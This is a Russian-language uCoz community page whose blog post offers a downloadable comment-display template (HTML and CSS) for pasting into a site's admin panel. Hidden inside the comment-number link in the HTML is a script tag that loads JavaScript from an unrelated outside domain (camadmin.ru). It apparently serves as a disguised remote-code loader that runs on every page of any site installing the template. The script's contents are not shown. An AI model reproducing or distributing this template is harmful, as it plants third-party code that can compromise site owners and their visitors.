Вы вошли как Гость
Группа "Гости" Приветствую Вас Гость!
Четверг, 21.11.2024, 13:42
Главная | Мой профиль | Регистрация | Выход | Вход | RSS

Коротко обо всём

******Общеобразовательные курсы Марбурга (Volkshochschule) разработали и издали на летний семестр новую программу, насчитывающую около 600 курсов. Полная информация на странице www.Vhs-marburg.de *******Новую туристическую веб-страницу о Марбурге разместило марбургское туристическое агенство (MLST). C интересной и актуальной информацией можно ознакомиться http://www.marburg-tourismus.de/******Концерн GSK инвестирует 172 млн евро на строительство помещений площадью 3000 кв.м. в Mars-Campus в Görzhausen, где разместится новая линия по производству вакцины против менингококков типа В. Одновременно линии по производству вакцины против столбняка и дифтерии переносятся в венгерский город Gödöllö********Новая карта Марбурга, которая была разработана с учетом последних изменений и дополнений, уже поступила в продажу. Карта показывает все городские районы в масштабе 1:15000, центральная часть города увеличена до 1:7500. Цена карты 2.80 € ******* *******

Меню сайта

Последние статьи

Приют для животных в Марбурге
Проект "Камни преткновения" в Марбурге"
BOB-компания против пьянства за рулем"
Конец "парагвайскому раю"
Cказочники в сказочном городе
Die Marburger Tafel
Сдача крови (Blutspende). Униклиника Гиссена и Марбурга
Marburger Stadtpass. Городской паспорт жителя Марбурга
Подарочный сертификат Марбург
Разрешение на пребывание в Германии в электронной форме в виде отдельного документа

Популярные статьи

SEPA- единая зона платежей в евро
Apteka.de- немецкая Интернет-аптека на русском языке
Проект "Поиск людей в Германии"

Новое на сайте

Новое на форуме

Новые статьи

Новые комментарии

Новое в альбомах

Новые объявления

Новые ссылки

Новые файлы

Изменения на сайте

Чат

Статистика

Онлайн всего: 9
Гостей: 9
Пользователей: 0

Регистрация

  • Личные сообщения
    (Новых: )

    • Справочная информация

    Проведение досуга

    Финансы и покупки

    Игры

    Фильм про Марбург

    Панорама Марбурга

    Панорама Марбурга с площадки башни императора Вильгельма

    Виртуальные туры

    Виртуальный тур по церкви святой Елизаветы
    Виртуальный тур по берегу реки Лан (Lahn)
    Виртуальный тур по старой части Марбурга
    Виртуальный тур по марбургскому замку
    Виртуальный тур по водному
    комплексу AquaMar в Марбурге

    Вид на замок

    Камера смотрит на марбургский замок и площадь магистрата

    Календарь

    «  Март 2013  »
    ПнВтСрЧтПтСбВс
        123
    45678910
    11121314151617
    18192021222324
    25262728293031

    Архив

    Поиск по сайту

    Blog

    Главная » 2013 » Март » 8 » Вид комментариев для uCoz v.5
    17:37
    Вид комментариев для uCoz v.5
    Всем привет, сегодня я хочу предоставить на общее скачивание очередной вид комментариев для uCoz реализованный в стили минимализма, ничего лишнего как говориться.

    Шаг 1 - Установим HTML:

    Как и полагается для начала нам следует установить html каркас вида комментариев, для этого заходим в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев

    в котором удаляем старый html код и устанавливаем новый:

    Код
    <div class="cell_comment">  

      <div class="comment_top">
      <strong class="comment_name"><?if($USERNAME$)?>$USERNAME$ <?else?>$NAME$<?endif?></strong>
      <span> пишет: | $DATE$ | $TIME$ <?if($MODER_PANEL$ && $EMAIL$)?><a href="$EMAIL_JS$" title="Email"> ( E-mail )</a><?endif?></span>
      <a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><strong class="comment_number">#$NUMBER$</strong></a>
      <?if($ENTRY_URL$)?><a class="comment_page" href="$ENTRY_URL$" target="_blank" title="Перейти на страницу материала">Страница с комментарием </a><?endif?>  
      <?if($MODER_PANEL$)?><span class="comment_mp">$MODER_PANEL$</span><?endif?>
      </div>

      <div class="comment_message">
      <?if($USERNAME$)?><a href="$PROFILE_URL$"><img class="comment_avatar" alt="$USERNAME$" src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://bambun.ru/images/no_aiotar.jpg<?endif?>" /></a><?else?><img src="http://www.center-dm.ru/img/no_avatar.jpg" class="comment_avatar" alt="аватар отсутствует" /><?endif?>  
      $MESSAGE$
      <?if($ANSWER$)?><div class="comment_answer_admin"><a href="/index/8-1" ><img class="comment_avatar_admin" alt="админ" src="http://ПРОПИШИТЕ ВАШ АДМИН АВАТАР"></a>$ANSWER$</div><?endif?>
      </div>

      <div class="comment_bottom">
      <?if($ANSWER_URL$)?><a href="$ANSWER_URL$" class="comment_answer">Ответить</a><?endif?>  
      <strong> <?if($COMMENT_RATING$>0)?>Like | +$COMMENT_RATING$ <?endif?> <?if($COMMENT_RATING$=0)?><?if($GOOD_COMMENT_URL$)?><?else?>Like |<?endif?> $COMMENT_RATING$ <?endif?></strong>  
      <?if($GOOD_COMMENT_URL$)?><a class="comment_like" href="$GOOD_COMMENT_URL$">Like</a><?endif?>
      </div>  

    </div>


    Обратите внимание, что аватар и ссылка на страницу администратора в ячейки системной переменной $ANSWER$ отвечающий за отображение ответа от администратора, следует прописать вручную.

    Шаг 2- Установим CSS:

    Теперь когда наш с вами каркас формы добавление комментариев для uCoz готов, пропишем ему следующие css стили:

    Код
    /* Вид комментариев для uCoz v.5
    ------------------------------------------*/
    .cell_comment {
      float:left;
      width:100%;
      color:#666;
      background:#fff;
      margin: 10px 0px;  
      border: 5px solid #bdd3e0;  
      border-radius:3px; overflow: hidden;
    }

    .comment_top {
      float:left;
      width:100%;
      padding:5px 0px;
      background:#F4F8F9;
      border-bottom: 1px solid #E6F0F2;  
    }

    .comment_name{
      margin-left: 20px;
      color:#34AB63;  
    }

    .comment_number {
      float:right;
      background:#f5f7f9;
      margin-right: 20px;  
    }

    .comment_top span {
      font:9px Verdana,Arial,Helvetica, sans-serif;
      color:#999;
    }

    .comment_mp,
    .comment_page {
      float:right;
      margin-right: 20px;  
    }

    .comment_message {
      float:left;
      font:115%/1.5 Verdana,Arial,Helvetica, sans-serif;
      text-align:justify;  

      width:94%;
      overflow: hidden;
      padding: 10px 20px 15px 20px;  
    }

    .comment_avatar {
      float:right;
      width:50px;
      height:50px;  
      margin: 0px 0px 10px 20px;  
      border: 3px solid #bdd3e0;  
      border-radius:3px;
    }

    .comment_bottom {
      float:left;
      width:100%;
      padding:6px 0px 5px 0px;
      background:#F4F8F9;
      border-top: 1px solid #E6F0F2;  
      font:10px Verdana,Arial,Helvetica, sans-serif;
    }

    .comment_answer:link,
    .comment_answer:visited{
      float:left;
      margin: 0px 0px 0px 20px;
      background:#8cbec9;
      padding: 2px 7px 2px 7px;  
      text-shadow: 1px 1px 1px #5d97a4;
      color:#fff;  
    }

    .comment_answer:hover {
      background:#9dd0db;
    }

    .comment_answer:active {
      box-shadow:inset 0px 0px 3px #5a95a2!important;
    }

    .comment_like:link,
    .comment_like:visited{
      float:right;
      background:#8ec98c;
      padding: 2px 7px 2px 7px;  
      text-shadow: 1px 1px 1px #4aa44c;
      color:#fff;  
    }

    .comment_like:hover {
      background:#abe6a9;
    }

    .comment_like:active {
      box-shadow:inset 0px 0px 3px #349932!important;
    }

    .comment_bottom strong {
      float:right;
      padding: 2px 10px 2px 10px;  
      background:#dde9d9;
      margin-right: 20px;  
    }

    .comment_answer_admin{
      float:left;
      width:94%;
      margin-top: 10px;
      padding: 10px 20px 10px 20px;  
      background:#f4ecec;
      border-radius:3px;
    }

    .comment_avatar_admin{
      float:right;
      width:50px;
      height:50px;  
      margin: 0px 0px 10px 25px;  
      border: 3px solid #dca2a2;  
      border-radius:3px;
    }

    .cell_comment a:hover img {
      filter: progid: DXImageTransform.Microsoft.Alpha(opacity=85);  
      -moz-opacity: 0.7;
      opacity: 0.7;
      filter: alpha(opacity=85);
    }


    На этом всё, спасибо за внимание!
    Просмотров: 845 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]

    Copyright MyCorp © 2024 | Сделать бесплатный сайт с uCoz